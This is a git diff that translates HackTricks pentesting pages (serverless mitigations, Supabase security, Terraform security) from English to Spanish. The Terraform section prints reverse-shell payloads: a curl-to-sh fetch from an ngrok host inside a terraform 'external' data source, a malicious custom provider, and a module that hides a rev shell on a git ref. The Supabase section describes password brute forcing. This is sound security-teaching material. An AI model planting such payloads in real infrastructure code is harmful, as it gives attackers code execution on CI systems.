http: +path: hello +method: get +cors: +origin: https://yourdomain.com +headers: +- Content-Type +``` -- **Use Web Application Firewalls (WAF):** Filter and monitor HTTP requests for malicious patterns. +- **Usar Firewalls de Aplicaciones Web (WAF):** Filtrar y monitorear solicitudes HTTP en busca de patrones maliciosos. --- -### **Insufficient Function Isolation** +### **Aislamiento de Funciones Insuficiente** -Shared resources and inadequate isolation can lead to privilege escalations or unintended interactions between functions. +Recursos compartidos y un aislamiento inadecuado pueden llevar a escalaciones de privilegios o interacciones no deseadas entre funciones. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Isolate Functions:** Assign distinct resources and IAM roles to ensure independent operation. -- **Resource Partitioning:** Use separate databases or storage buckets for different functions. -- **Use VPCs:** Deploy functions within Virtual Private Clouds for enhanced network isolation. +- **Aislar Funciones:** Asignar recursos y roles de IAM distintos para asegurar una operación independiente. +- **Particionamiento de Recursos:** Utilizar bases de datos o buckets de almacenamiento separados para diferentes funciones. +- **Usar VPCs:** Desplegar funciones dentro de Nubes Privadas Virtuales para un mejor aislamiento de red. - ```yaml - provider: - vpc: - securityGroupIds: - - sg-xxxxxxxx - subnetIds: - - subnet-xxxxxx - ``` +```yaml +provider: +vpc: +securityGroupIds: +- sg-xxxxxxxx +subnetIds: +- subnet-xxxxxx +``` -- **Limit Function Permissions:** Ensure functions cannot access or interfere with each other’s resources unless explicitly required. +- **Limitar Permisos de Funciones:** Asegurarse de que las funciones no puedan acceder o interferir con los recursos de otras funciones a menos que sea explícitamente necesario. --- -### **Inadequate Data Protection** +### **Protección de Datos Inadecuada** -Unencrypted data at rest or in transit can be exposed, leading to data breaches or tampering. +Datos no encriptados en reposo o en tránsito pueden ser expuestos, llevando a brechas de datos o manipulación. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Encrypt Data at Rest:** Utilize cloud service encryption features. +- **Encriptar Datos en Reposo:** Utilizar características de encriptación de servicios en la nube. - ```yaml - resources: - Resources: - MyDynamoDBTable: - Type: AWS::DynamoDB::Table - Properties: - SSESpecification: - SSEEnabled: true - ``` +```yaml +resources: +Resources: +MyDynamoDBTable: +Type: AWS::DynamoDB::Table +Properties: +SSESpecification: +SSEEnabled: true +``` -- **Encrypt Data in Transit:** Use HTTPS/TLS for all data transmissions. -- **Secure API Communication:** Enforce encryption protocols and validate certificates. -- **Manage Encryption Keys Securely:** Use managed key services and rotate keys regularly. +- **Encriptar Datos en Tránsito:** Usar HTTPS/TLS para todas las transmisiones de datos. +- **Comunicación API Segura:** Hacer cumplir protocolos de encriptación y validar certificados. +- **Gestionar Claves de Encriptación de Forma Segura:** Utilizar servicios de claves gestionadas y rotar claves regularmente. --- -### **Lack of Proper Error Handling** +### **Falta de Manejo Adecuado de Errores** -Detailed error messages can leak sensitive information about the infrastructure or codebase, while unhandled exceptions may lead to application crashes. +Mensajes de error detallados pueden filtrar información sensible sobre la infraestructura o la base de código, mientras que excepciones no manejadas pueden llevar a caídas de la aplicación. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Generic Error Messages:** Avoid exposing internal details in error responses. +- **Mensajes de Error Genéricos:** Evitar exponer detalles internos en las respuestas de error. - ```javascript - javascriptCopy code// Example in Node.js - exports.hello = async (event) => { - try { - // Function logic - } catch (error) { - console.error(error); - return { - statusCode: 500, - body: JSON.stringify({ message: 'Internal Server Error' }), - }; - } - }; - ``` +```javascript +javascriptCopy code// Ejemplo en Node.js +exports.hello = async (event) => { +try { +// Lógica de la función +} catch (error) { +console.error(error); +return { +statusCode: 500, +body: JSON.stringify({ message: 'Error Interno del Servidor' }), +}; +} +}; +``` -- **Centralized Error Handling:** Manage and sanitize errors consistently across all functions. -- **Monitor and Log Errors:** Track and analyze errors internally without exposing details to end-users. +- **Manejo Centralizado de Errores:** Gestionar y sanitizar errores de manera consistente en todas las funciones. +- **Monitorear y Registrar Errores:** Rastrear y analizar errores internamente sin exponer detalles a los usuarios finales. --- -### **Insecure Deployment Practices** +### **Prácticas de Despliegue Inseguras** -Exposed deployment configurations or unauthorized access to CI/CD pipelines can lead to malicious code deployments or misconfigurations. +Configuraciones de despliegue expuestas o acceso no autorizado a pipelines de CI/CD pueden llevar a despliegues de código malicioso o configuraciones incorrectas. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Secure CI/CD Pipelines:** Implement strict access controls, multi-factor authentication (MFA), and regular audits. -- **Store Configuration Securely:** Keep deployment files free from hardcoded secrets and sensitive data. -- **Use Infrastructure as Code (IaC) Security Tools:** Employ tools like **Checkov** or **Terraform Sentinel** to enforce security policies. -- **Immutable Deployments:** Prevent unauthorized changes post-deployment by adopting immutable infrastructure practices. +- **Asegurar Pipelines de CI/CD:** Implementar controles de acceso estrictos, autenticación multifactor (MFA) y auditorías regulares. +- **Almacenar Configuración de Forma Segura:** Mantener archivos de despliegue libres de secretos codificados y datos sensibles. +- **Usar Herramientas de Seguridad de Infraestructura como Código (IaC):** Emplear herramientas como **Checkov** o **Terraform Sentinel** para hacer cumplir políticas de seguridad. +- **Despliegues Inmutables:** Prevenir cambios no autorizados después del despliegue adoptando prácticas de infraestructura inmutable. --- -### **Vulnerabilities in Plugins and Extensions** +### **Vulnerabilidades en Plugins y Extensiones** -Using unvetted or malicious third-party plugins can introduce vulnerabilities into your serverless applications. +Usar plugins de terceros no verificados o maliciosos puede introducir vulnerabilidades en sus aplicaciones serverless. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Vet Plugins Thoroughly:** Assess the security of plugins before integration, favoring those from reputable sources. -- **Limit Plugin Usage:** Use only necessary plugins to minimize the attack surface. -- **Monitor Plugin Updates:** Keep plugins updated to benefit from security patches. -- **Isolate Plugin Environments:** Run plugins in isolated environments to contain potential compromises. +- **Evaluar Plugins a Fondo:** Evaluar la seguridad de los plugins antes de la integración, favoreciendo aquellos de fuentes reputables. +- **Limitar el Uso de Plugins:** Usar solo los plugins necesarios para minimizar la superficie de ataque. +- **Monitorear Actualizaciones de Plugins:** Mantener los plugins actualizados para beneficiarse de parches de seguridad. +- **Aislar Entornos de Plugins:** Ejecutar plugins en entornos aislados para contener posibles compromisos. --- -### **Exposure of Sensitive Endpoints** +### **Exposición de Puntos Finales Sensibles** -Publicly accessible functions or unrestricted APIs can be exploited for unauthorized operations. +Funciones accesibles públicamente o APIs sin restricciones pueden ser explotadas para operaciones no autorizadas. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Restrict Function Access:** Use VPCs, security groups, and firewall rules to limit access to trusted sources. -- **Implement Robust Authentication:** Ensure all exposed endpoints require proper authentication and authorization. -- **Use API Gateways Securely:** Configure API Gateways to enforce security policies, including input validation and rate limiting. -- **Disable Unused Endpoints:** Regularly review and disable any endpoints that are no longer in use. +- **Restringir el Acceso a Funciones:** Usar VPCs, grupos de seguridad y reglas de firewall para limitar el acceso a fuentes confiables. +- **Implementar Autenticación Robusta:** Asegurarse de que todos los puntos finales expuestos requieran autenticación y autorización adecuadas. +- **Usar API Gateways de Forma Segura:** Configurar API Gateways para hacer cumplir políticas de seguridad, incluyendo validación de entradas y limitación de tasas. +- **Deshabilitar Puntos Finales No Utilizados:** Revisar regularmente y deshabilitar cualquier punto final que ya no esté en uso. --- -### **Excessive Permissions for Team Members and External Collaborators** +### **Permisos Excesivos para Miembros del Equipo y Colaboradores Externos** -Granting excessive permissions to team members and external collaborators can lead to unauthorized access, data breaches, and misuse of resources. This risk is heightened in environments where multiple individuals have varying levels of access, increasing the attack surface and potential for insider threats. +Conceder permisos excesivos a miembros del equipo y colaboradores externos puede llevar a acceso no autorizado, brechas de datos y uso indebido de recursos. Este riesgo se incrementa en entornos donde múltiples individuos tienen diferentes niveles de acceso, aumentando la superficie de ataque y el potencial de amenazas internas. -#### **Mitigation Strategies** +#### **Estrategias de Mitigación** -- **Principle of Least Privilege:** Ensure that team members and collaborators have only the permissions necessary to perform their tasks. +- **Principio de Menor Privilegio:** Asegurarse de que los miembros del equipo y colaboradores tengan solo los permisos necesarios para realizar sus tareas. --- -### **Access Keys and License Keys Security** +### **Seguridad de Claves de Acceso y Claves de Licencia** -**Access Keys** and **License Keys** are critical credentials used to authenticate and authorize interactions with the Serverless Framework CLI. +**Claves de Acceso** y **Claves de Licencia** son credenciales críticas utilizadas para autenticar y autorizar interacciones con la CLI de Serverless Framework. -- **License Keys:** They are Unique identifiers required for authenticating access to Serverless Framework Version 4 which allows to login via CLI. -- **Access Keys:** Credentials that allow the Serverless Framework CLI to authenticate with the Serverless Framework Dashboard. When login with `serverless` cli an access key will be **generated and stored in the laptop**. You can also set it as an environment variable named `SERVERLESS_ACCESS_KEY`. +- **Claves de Licencia:** Son identificadores únicos requeridos para autenticar el acceso a Serverless Framework Versión 4 que permite iniciar sesión a través de la CLI. +- **Claves de Acceso:** Credenciales que permiten a la CLI de Serverless Framework autenticarse con el Dashboard de Serverless Framework. Al iniciar sesión con la CLI `serverless`, se generará y almacenará una clave de acceso en la **computadora portátil**. También puede configurarse como una variable de entorno llamada `SERVERLESS_ACCESS_KEY`. -#### **Security Risks** +#### **Riesgos de Seguridad** -1. **Exposure Through Code Repositories:** - - Hardcoding or accidentally committing Access Keys and License Keys to version control systems can lead to unauthorized access. -2. **Insecure Storage:** - - Storing keys in plaintext within environment variables or configuration files without proper encryption increases the likelihood of leakage. -3. **Improper Distribution:** - - Sharing keys through unsecured channels (e.g., email, chat) can result in interception by malicious actors. -4. **Lack of Rotation:** - - Not regularly rotating keys extends the exposure period if keys are compromised. -5. **Excessive Permissions:** - - Keys with broad permissions can be exploited to perform unauthorized actions across multiple resources. +1. **Exposición a Través de Repositorios de Código:** +- Codificar o comprometer accidentalmente Claves de Acceso y Claves de Licencia en sistemas de control de versiones puede llevar a acceso no autorizado. +2. **Almacenamiento Inseguro:** +- Almacenar claves en texto plano dentro de variables de entorno o archivos de configuración sin la encriptación adecuada aumenta la probabilidad de filtraciones. +3. **Distribución Inadecuada:** +- Compartir claves a través de canales no seguros (por ejemplo, correo electrónico, chat) puede resultar en la interceptación por actores maliciosos. +4. **Falta de Rotación:** +- No rotar regularmente las claves extiende el período de exposición si las claves son comprometidas. +5. **Permisos Excesivos:** +- Claves con permisos amplios pueden ser explotadas para realizar acciones no autorizadas en múltiples recursos. {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/supabase-security.md b/src/pentesting-ci-cd/supabase-security.md index 6fa6219f8..4a00000a1 100644 --- a/src/pentesting-ci-cd/supabase-security.md +++ b/src/pentesting-ci-cd/supabase-security.md @@ -2,49 +2,48 @@ {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings. +Según su [**página de inicio**](https://supabase.com/): Supabase es una alternativa de código abierto a Firebase. Comienza tu proyecto con una base de datos Postgres, Autenticación, APIs instantáneas, Funciones Edge, suscripciones en tiempo real, Almacenamiento y embeddings vectoriales. -### Subdomain +### Subdominio -Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`** +Básicamente, cuando se crea un proyecto, el usuario recibirá un subdominio supabase.co como: **`jnanozjdybtpqgcwhdiz.supabase.co`** -## **Database configuration** +## **Configuración de la base de datos** > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/database`** +> **Estos datos se pueden acceder desde un enlace como `https://supabase.com/dashboard/project//settings/database`** -This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\ -The password is a **password the user put** previously. +Esta **base de datos** se desplegará en alguna región de AWS, y para conectarse a ella sería posible hacerlo conectándose a: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (esto fue creado en us-west-1).\ +La contraseña es una **contraseña que el usuario puso** previamente. -Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**. +Por lo tanto, dado que el subdominio es conocido y se usa como nombre de usuario y las regiones de AWS son limitadas, podría ser posible intentar **fuerza bruta la contraseña**. -This section also contains options to: +Esta sección también contiene opciones para: -- Reset the database password -- Configure connection pooling -- Configure SSL: Reject plan-text connections (by default they are enabled) -- Configure Disk size -- Apply network restrictions and bans +- Restablecer la contraseña de la base de datos +- Configurar el agrupamiento de conexiones +- Configurar SSL: Rechazar conexiones en texto plano (por defecto están habilitadas) +- Configurar el tamaño del disco +- Aplicar restricciones y prohibiciones de red -## API Configuration +## Configuración de la API > [!TIP] -> **This data can be accessed from a link like `https://supabase.com/dashboard/project//settings/api`** +> **Estos datos se pueden acceder desde un enlace como `https://supabase.com/dashboard/project//settings/api`** -The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`. +La URL para acceder a la API de supabase en tu proyecto será como: `https://jnanozjdybtpqgcwhdiz.supabase.co`. -### anon api keys +### claves api anon -It'll also generate an **anon API key** (`role: "anon"`), like: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` that the application will need to use in order to contact the API key exposed in our example in +También generará una **clave API anon** (`role: "anon"`), como: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6ImFub24iLCJpYXQiOjE3MTQ5OTI3MTksImV4cCI6MjAzMDU2ODcxOX0.sRN0iMGM5J741pXav7UxeChyqBE9_Z-T0tLA9Zehvqk` que la aplicación necesitará usar para contactar la clave API expuesta en nuestro ejemplo en -It's possible to find the API REST to contact this API in the [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), but the most interesting endpoints would be: +Es posible encontrar la API REST para contactar esta API en la [**docs**](https://supabase.com/docs/reference/self-hosting-auth/returns-the-configuration-settings-for-the-gotrue-server), pero los endpoints más interesantes serían:
-Signup (/auth/v1/signup) - +Registro (/auth/v1/signup) ``` POST /auth/v1/signup HTTP/2 Host: id.io.net @@ -69,13 +68,11 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-Login (/auth/v1/token?grant_type=password) - +Iniciar sesión (/auth/v1/token?grant_type=password) ``` POST /auth/v1/token?grant_type=password HTTP/2 Host: hypzbtgspjkludjcnjxl.supabase.co @@ -100,68 +97,63 @@ Priority: u=1, i {"email":"test@exmaple.com","password":"SomeCOmplexPwd239."} ``` -
-So, whenever you discover a client using supabase with the subdomain they were granted (it's possible that a subdomain of the company has a CNAME over their supabase subdomain), you might try to **create a new account in the platform using the supabase API**. +Entonces, cada vez que descubras un cliente que utiliza supabase con el subdominio que se le otorgó (es posible que un subdominio de la empresa tenga un CNAME sobre su subdominio de supabase), podrías intentar **crear una nueva cuenta en la plataforma utilizando la API de supabase**. -### secret / service_role api keys +### claves api secretas / service_role -A secret API key will also be generated with **`role: "service_role"`**. This API key should be secret because it will be able to bypass **Row Level Security**. +Una clave API secreta también se generará con **`role: "service_role"`**. Esta clave API debe ser secreta porque podrá eludir **Row Level Security**. -The API key looks like this: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` +La clave API se ve así: `eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJzdXBhYmFzZSIsInJlZiI6ImpuYW5vemRyb2J0cHFnY3doZGl6Iiwicm9sZSI6InNlcnZpY2Vfcm9sZSIsImlhdCI6MTcxNDk5MjcxOSwiZXhwIjoyMDMwNTY4NzE5fQ.0a8fHGp3N_GiPq0y0dwfs06ywd-zhTwsm486Tha7354` -### JWT Secret +### Secreto JWT -A **JWT Secret** will also be generate so the application can **create and sign custom JWT tokens**. +Un **secreto JWT** también se generará para que la aplicación pueda **crear y firmar tokens JWT personalizados**. -## Authentication +## Autenticación -### Signups +### Registros > [!TIP] -> By **default** supabase will allow **new users to create accounts** on your project by using the previously mentioned API endpoints. +> Por **defecto**, supabase permitirá **que nuevos usuarios creen cuentas** en tu proyecto utilizando los endpoints de API mencionados anteriormente. -However, these new accounts, by default, **will need to validate their email address** to be able to login into the account. It's possible to enable **"Allow anonymous sign-ins"** to allow people to login without verifying their email address. This could grant access to **unexpected data** (they get the roles `public` and `authenticated`).\ -This is a very bad idea because supabase charges per active user so people could create users and login and supabase will charge for those: +Sin embargo, estas nuevas cuentas, por defecto, **necesitarán validar su dirección de correo electrónico** para poder iniciar sesión en la cuenta. Es posible habilitar **"Permitir inicios de sesión anónimos"** para permitir que las personas inicien sesión sin verificar su dirección de correo electrónico. Esto podría otorgar acceso a **datos inesperados** (obtienen los roles `public` y `authenticated`).\ +Esta es una muy mala idea porque supabase cobra por usuario activo, por lo que las personas podrían crear usuarios e iniciar sesión y supabase cobrará por esos:
-### Passwords & sessions +### Contraseñas y sesiones -It's possible to indicate the minimum password length (by default), requirements (no by default) and disallow to use leaked passwords.\ -It's recommended to **improve the requirements as the default ones are weak**. +Es posible indicar la longitud mínima de la contraseña (por defecto), requisitos (no por defecto) y deshabilitar el uso de contraseñas filtradas.\ +Se recomienda **mejorar los requisitos ya que los predeterminados son débiles**. -- User Sessions: It's possible to configure how user sessions work (timeouts, 1 session per user...) -- Bot and Abuse Protection: It's possible to enable Captcha. +- Sesiones de Usuario: Es posible configurar cómo funcionan las sesiones de usuario (tiempos de espera, 1 sesión por usuario...) +- Protección contra Bots y Abusos: Es posible habilitar Captcha. -### SMTP Settings +### Configuraciones SMTP -It's possible to set an SMTP to send emails. +Es posible establecer un SMTP para enviar correos electrónicos. -### Advanced Settings +### Configuraciones Avanzadas -- Set expire time to access tokens (3600 by default) -- Set to detect and revoke potentially compromised refresh tokens and timeout -- MFA: Indicate how many MFA factors can be enrolled at once per user (10 by default) -- Max Direct Database Connections: Max number of connections used to auth (10 by default) -- Max Request Duration: Maximum time allowed for an Auth request to last (10s by default) +- Establecer tiempo de expiración para tokens de acceso (3600 por defecto) +- Establecer para detectar y revocar tokens de actualización potencialmente comprometidos y tiempo de espera +- MFA: Indicar cuántos factores MFA pueden ser inscritos a la vez por usuario (10 por defecto) +- Máx. Conexiones Directas a la Base de Datos: Número máximo de conexiones utilizadas para autenticación (10 por defecto) +- Duración Máxima de Solicitud: Tiempo máximo permitido para que dure una solicitud de autenticación (10s por defecto) -## Storage +## Almacenamiento > [!TIP] -> Supabase allows **to store files** and make them accesible over a URL (it uses S3 buckets). +> Supabase permite **almacenar archivos** y hacerlos accesibles a través de una URL (utiliza buckets S3). -- Set the upload file size limit (default is 50MB) -- The S3 connection is given with a URL like: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` -- It's possible to **request S3 access key** that are formed by an `access key ID` (e.g. `a37d96544d82ba90057e0e06131d0a7b`) and a `secret access key` (e.g. `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) +- Establecer el límite de tamaño de archivo de carga (el predeterminado es 50MB) +- La conexión S3 se da con una URL como: `https://jnanozjdybtpqgcwhdiz.supabase.co/storage/v1/s3` +- Es posible **solicitar una clave de acceso S3** que se forma por un `access key ID` (por ejemplo, `a37d96544d82ba90057e0e06131d0a7b`) y una `secret access key` (por ejemplo, `58420818223133077c2cec6712a4f909aec93b4daeedae205aa8e30d5a860628`) -## Edge Functions +## Funciones Edge -It's possible to **store secrets** in supabase also which will be **accessible by edge functions** (the can be created and deleted from the web, but it's not possible to access their value directly). +Es posible **almacenar secretos** en supabase también, que serán **accesibles por funciones edge** (se pueden crear y eliminar desde la web, pero no es posible acceder a su valor directamente). {{#include ../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-ci-cd/terraform-security.md b/src/pentesting-ci-cd/terraform-security.md index 09b875ff2..e538023a3 100644 --- a/src/pentesting-ci-cd/terraform-security.md +++ b/src/pentesting-ci-cd/terraform-security.md @@ -1,308 +1,278 @@ -# Terraform Security +# Seguridad de Terraform {{#include ../banners/hacktricks-training.md}} -## Basic Information +## Información Básica -[From the docs:](https://developer.hashicorp.com/terraform/intro) +[De la documentación:](https://developer.hashicorp.com/terraform/intro) -HashiCorp Terraform is an **infrastructure as code tool** that lets you define both **cloud and on-prem resources** in human-readable configuration files that you can version, reuse, and share. You can then use a consistent workflow to provision and manage all of your infrastructure throughout its lifecycle. Terraform can manage low-level components like compute, storage, and networking resources, as well as high-level components like DNS entries and SaaS features. +HashiCorp Terraform es una **herramienta de infraestructura como código** que te permite definir tanto **recursos en la nube como en local** en archivos de configuración legibles por humanos que puedes versionar, reutilizar y compartir. Luego puedes usar un flujo de trabajo consistente para aprovisionar y gestionar toda tu infraestructura a lo largo de su ciclo de vida. Terraform puede gestionar componentes de bajo nivel como recursos de computación, almacenamiento y redes, así como componentes de alto nivel como entradas DNS y características de SaaS. -#### How does Terraform work? +#### ¿Cómo funciona Terraform? -Terraform creates and manages resources on cloud platforms and other services through their application programming interfaces (APIs). Providers enable Terraform to work with virtually any platform or service with an accessible API. +Terraform crea y gestiona recursos en plataformas en la nube y otros servicios a través de sus interfaces de programación de aplicaciones (APIs). Los proveedores permiten que Terraform funcione con prácticamente cualquier plataforma o servicio con una API accesible. ![](<../images/image (177).png>) -HashiCorp and the Terraform community have already written **more than 1700 providers** to manage thousands of different types of resources and services, and this number continues to grow. You can find all publicly available providers on the [Terraform Registry](https://registry.terraform.io/), including Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, and many more. +HashiCorp y la comunidad de Terraform ya han escrito **más de 1700 proveedores** para gestionar miles de tipos diferentes de recursos y servicios, y este número sigue creciendo. Puedes encontrar todos los proveedores disponibles públicamente en el [Registro de Terraform](https://registry.terraform.io/), incluyendo Amazon Web Services (AWS), Azure, Google Cloud Platform (GCP), Kubernetes, Helm, GitHub, Splunk, DataDog, y muchos más. -The core Terraform workflow consists of three stages: +El flujo de trabajo principal de Terraform consta de tres etapas: -- **Write:** You define resources, which may be across multiple cloud providers and services. For example, you might create a configuration to deploy an application on virtual machines in a Virtual Private Cloud (VPC) network with security groups and a load balancer. -- **Plan:** Terraform creates an execution plan describing the infrastructure it will create, update, or destroy based on the existing infrastructure and your configuration. -- **Apply:** On approval, Terraform performs the proposed operations in the correct order, respecting any resource dependencies. For example, if you update the properties of a VPC and change the number of virtual machines in that VPC, Terraform will recreate the VPC before scaling the virtual machines. +- **Escribir:** Definís recursos, que pueden estar en múltiples proveedores y servicios en la nube. Por ejemplo, podrías crear una configuración para desplegar una aplicación en máquinas virtuales en una red de Nube Privada Virtual (VPC) con grupos de seguridad y un balanceador de carga. +- **Planificar:** Terraform crea un plan de ejecución que describe la infraestructura que creará, actualizará o destruirá en función de la infraestructura existente y tu configuración. +- **Aplicar:** Con la aprobación, Terraform realiza las operaciones propuestas en el orden correcto, respetando cualquier dependencia de recursos. Por ejemplo, si actualizas las propiedades de una VPC y cambias el número de máquinas virtuales en esa VPC, Terraform recreará la VPC antes de escalar las máquinas virtuales. ![](<../images/image (215).png>) -### Terraform Lab +### Laboratorio de Terraform -Just install terraform in your computer. +Solo instala terraform en tu computadora. -Here you have a [guide](https://learn.hashicorp.com/tutorials/terraform/install-cli) and here you have the [best way to download terraform](https://www.terraform.io/downloads). +Aquí tienes una [guía](https://learn.hashicorp.com/tutorials/terraform/install-cli) y aquí tienes la [mejor manera de descargar terraform](https://www.terraform.io/downloads). -## RCE in Terraform +## RCE en Terraform -Terraform **doesn't have a platform exposing a web page or a network service** we can enumerate, therefore, the only way to compromise terraform is to **be able to add/modify terraform configuration files**. +Terraform **no tiene una plataforma que exponga una página web o un servicio de red** que podamos enumerar, por lo tanto, la única forma de comprometer terraform es **poder agregar/modificar archivos de configuración de terraform**. -However, terraform is a **very sensitive component** to compromise because it will have **privileged access** to different locations so it can work properly. +Sin embargo, terraform es un **componente muy sensible** a comprometer porque tendrá **acceso privilegiado** a diferentes ubicaciones para que pueda funcionar correctamente. -The main way for an attacker to be able to compromise the system where terraform is running is to **compromise the repository that stores terraform configurations**, because at some point they are going to be **interpreted**. +La principal forma en que un atacante puede comprometer el sistema donde se está ejecutando terraform es **comprometer el repositorio que almacena las configuraciones de terraform**, porque en algún momento van a ser **interpretadas**. -Actually, there are solutions out there that **execute terraform plan/apply automatically after a PR** is created, such as **Atlantis**: +De hecho, hay soluciones que **ejecutan terraform plan/apply automáticamente después de que se crea un PR**, como **Atlantis**: {{#ref}} atlantis-security.md {{#endref}} -If you are able to compromise a terraform file there are different ways you can perform RCE when someone executed `terraform plan` or `terraform apply`. +Si puedes comprometer un archivo de terraform, hay diferentes maneras en que puedes realizar RCE cuando alguien ejecuta `terraform plan` o `terraform apply`. ### Terraform plan -Terraform plan is the **most used command** in terraform and developers/solutions using terraform call it all the time, so the **easiest way to get RCE** is to make sure you poison a terraform config file that will execute arbitrary commands in a `terraform plan`. +Terraform plan es el **comando más utilizado** en terraform y los desarrolladores/soluciones que utilizan terraform lo llaman todo el tiempo, por lo que la **manera más fácil de obtener RCE** es asegurarte de envenenar un archivo de configuración de terraform que ejecute comandos arbitrarios en un `terraform plan`. -**Using an external provider** +**Usando un proveedor externo** -Terraform offers the [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) which provides a way to interface between Terraform and external programs. You can use the `external` data source to run arbitrary code during a `plan`. - -Injecting in a terraform config file something like the following will execute a rev shell when executing `terraform plan`: +Terraform ofrece el [`external` provider](https://registry.terraform.io/providers/hashicorp/external/latest/docs) que proporciona una forma de interfaz entre Terraform y programas externos. Puedes usar la fuente de datos `external` para ejecutar código arbitrario durante un `plan`. +Inyectar en un archivo de configuración de terraform algo como lo siguiente ejecutará un rev shell al ejecutar `terraform plan`: ```javascript data "external" "example" { - program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] +program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"] } ``` +**Usando un proveedor personalizado** -**Using a custom provider** - -An attacker could send a [custom provider](https://learn.hashicorp.com/tutorials/terraform/provider-setup) to the [Terraform Registry](https://registry.terraform.io/) and then add it to the Terraform code in a feature branch ([example from here](https://alex.kaskaso.li/post/terraform-plan-rce)): - +Un atacante podría enviar un [proveedor personalizado](https://learn.hashicorp.com/tutorials/terraform/provider-setup) al [Registro de Terraform](https://registry.terraform.io/) y luego agregarlo al código de Terraform en una rama de características ([ejemplo de aquí](https://alex.kaskaso.li/post/terraform-plan-rce)): ```javascript - terraform { - required_providers { - evil = { - source = "evil/evil" - version = "1.0" - } - } - } +terraform { +required_providers { +evil = { +source = "evil/evil" +version = "1.0" +} +} +} provider "evil" {} ``` +El proveedor se descarga en el `init` y ejecutará el código malicioso cuando se ejecute `plan`. -The provider is downloaded in the `init` and will run the malicious code when `plan` is executed +Puedes encontrar un ejemplo en [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) -You can find an example in [https://github.com/rung/terraform-provider-cmdexec](https://github.com/rung/terraform-provider-cmdexec) +**Usando una referencia externa** -**Using an external reference** - -Both mentioned options are useful but not very stealthy (the second is more stealthy but more complex than the first one). You can perform this attack even in a **stealthier way**, by following this suggestions: - -- Instead of adding the rev shell directly into the terraform file, you can **load an external resource** that contains the rev shell: +Ambas opciones mencionadas son útiles pero no muy sigilosas (la segunda es más sigilosa pero más compleja que la primera). Puedes realizar este ataque incluso de una **manera más sigilosa**, siguiendo estas sugerencias: +- En lugar de agregar el rev shell directamente en el archivo de terraform, puedes **cargar un recurso externo** que contenga el rev shell: ```javascript module "not_rev_shell" { - source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" +source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules" } ``` +Puedes encontrar el código de rev shell en [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) -You can find the rev shell code in [https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules](https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules) - -- In the external resource, use the **ref** feature to hide the **terraform rev shell code in a branch** inside of the repo, something like: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` +- En el recurso externo, utiliza la función **ref** para ocultar el **código de rev shell de terraform en una rama** dentro del repositorio, algo como: `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` ### Terraform Apply -Terraform apply will be executed to apply all the changes, you can also abuse it to obtain RCE injecting **a malicious Terraform file with** [**local-exec**](https://www.terraform.io/docs/provisioners/local-exec.html)**.**\ -You just need to make sure some payload like the following ones ends in the `main.tf` file: - +Se ejecutará Terraform apply para aplicar todos los cambios, también puedes abusar de esto para obtener RCE inyectando **un archivo de Terraform malicioso con** 